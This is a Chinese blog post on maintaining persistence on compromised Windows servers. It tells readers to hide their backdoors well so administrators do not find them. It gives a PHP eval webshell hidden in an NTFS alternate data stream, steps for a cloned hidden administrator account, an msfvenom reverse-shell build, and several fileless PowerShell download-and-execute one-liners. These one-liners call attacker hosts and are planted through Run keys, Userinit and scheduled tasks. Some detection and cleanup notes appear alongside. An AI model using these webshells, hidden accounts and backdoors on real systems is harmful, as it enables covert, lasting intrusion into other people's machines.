Windows权限维持

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。

隐藏文件

1、利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。
如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。
如何真正隐藏文件?
使用 Attrib +s +a +h +r 命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test.txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。
破解隐藏文件:
打开电脑文件夹选项卡,取消 隐藏受保护的操作系统文件 勾选,把 隐藏文件和文件夹 下面的单选选择“显示隐藏的文件、文件夹和驱动器

2、利用ADS隐藏文件内容

前提:目标的文件系统是 NTFS
在服务器上 echo 一个数据流文件进去,比如 index.php 是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的 shell hidden.jpg ,常规的文件管理器、 type 命令, dir 命令、 del 命令发现都找不出那个hidden.jpg 的。
问题1:如何查看index.php:hidden.jpg内容呢?
进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r
问题2:如何删除index.php:hidden.jpg?
直接删除index.php即可
 

3、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫: Easy File Locker
下载链接: http://www.xoslab.com/efl.html
如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现 无文件 攻击,这种方式极难被发现。

隐藏账号

window 隐藏系统用户操作, CMD 命令行下,建立了一个用户名为 “test$” ,密码为 “abc123!” 的简单隐藏账户, 并且把该隐藏账户提升为了管理员权限。
PS:CMD 命令行使用 "net user", 看不到 "test$" 这个账号,但在控制面板和本地用户和组是可以显示此用户的。
克隆账号制作过程:
1 开始 运行 ,输入 “regedt32.exe” 后回车 , 需要到 “HKEY_LOCAL_MACHINE\SAM\SAM” ,单机右建权限,把名叫:administrator 的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。
2 、来到注册表编辑器的 “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names” 处,点击test$ 用户,得到在右边显示的键值中的 类型 一项显示为 0x3ec ,找到箭头所指目录。
3 、找到 administrator 所对应的的项为 “000001F4” ,将 “000001F4” F 值复制到 “000003EC” F 值中,保存。
4 、分别 test$ “000003EC 导出到桌面,删除 test$ 用户 net user test$ /del
5 、将刚才导出的两个后缀为 .reg 的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。 PS :不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到 test$ 这个账户的,只有在注册表中才能看得到。
检测和清理方法:
使用 D _web 查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?

1meterpreter会话注入

当前权限无法获取 hash 值,查看目前系统进程
通过 migrate 将进程注入到 system 进程后,成功获得 hash 值。
在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window 服务端自启动后门技术进行解析,知己知彼方能杜绝后门。

自启动

基础知识

powershell 执行远程脚本:
powershell.exe -nop -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.226.157:8024/msf-tcp-ps-
35444.ps1'))"

准备工作

生成一个 powershell 的反弹脚本备用:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.135 lport=444 -f
psh -o msf-tcp-444.ps1

注册表自启动

自启动键
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
常用的注册表启动键( https://blog.51cto.com/kuangke/3139147 ):
1.Run键
Run键是病毒最青睐的自启动之所,该键位置是
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]和[HKEY_
LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run],其下的所有程序在每
次启动登录时都会按顺序自动执行。
还有一个不被注意的Run键,位于注册表
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er\Run]和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explo
rer\Run],也要仔细查看。
2.RunOnce键

RunOnce位于
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]和
[HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunOnce]键,与Run不同的是,RunOnce下的程序仅会被自动执行一
次。
3.RunServicesOnce键
RunServicesOnce键位于
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
]和[HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]下,其中的程序会在系统
加载时自动启动执行一次。
4.RunServices键

RunServices继RunServicesOnce之后启动的程序,位于注册表
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
键。
5.RunOnceEx键
该键是Windows XP/2003特有的自启动注册表项,位于
[HKEY_CURRENT_USER\\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx]和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx]。
6.load键
[HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows]下的
load键值的程序也可以自启动。
使用以下命令可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX
((new-object net.webclient).downloadstring('http://192.168.28.142:8888/msf-tcp-
444.ps1'))\"" /f
Logon Scripts 后门
注册表路径: HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript ,键值设置为 bat 的绝对路径: c:\test.bat
userinit后门
在用户进行登陆时, winlogon 运行指定的程序。根据官方文档 ,可以更改它的值来添加与删除程序。利用 USERINIT 注册表键实现无文件后门:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\Windows
PowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/msf-tcp-
444.ps1'))\""

组策略设置脚本启动

运行 gpedit.msc 进入本地组策略,通过 Windows 设置的 脚本 ( 启动 / 关机 )” 项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
容易遇到的问题:脚本需全路径,如
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

计划任务

通过 window 系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
使用以下命令可以一键实现:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -
nop -w hidden -c \"IEX ((new-object

net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/msf-tcp-
444.ps1\"\"\"))\""
容易遇到的问题: cmd 命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
计划脚本每 1 分钟运行一次。

服务自启动

通过服务设置自启动,结合 powershell 实现无文件后门。
使用以下命令可实现:
成功创建了一个自启动服务

WMI后门

2015 年的 blackhat 大会上 Matt Graeber 介绍了一种无文件后门就是用的 WMI 。这里可以利用一个工具powersploit,下面用它的 Persistence 模块来示范一个简单的例子。
解压 powersploit ,在 powershell 下执行

dll劫持

如果在进程尝试加载一个 DLL 时没有指定 DLL 的绝对路径,那么 Windows 会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的 DLL 文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
比较常用的如 LPK.dll 的劫持:
win7 win7 以上系统增加了 KnownDLLs 保护,需要在注册表:
下添加 “lpk.dll” 才能顺利劫持

  • 37
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值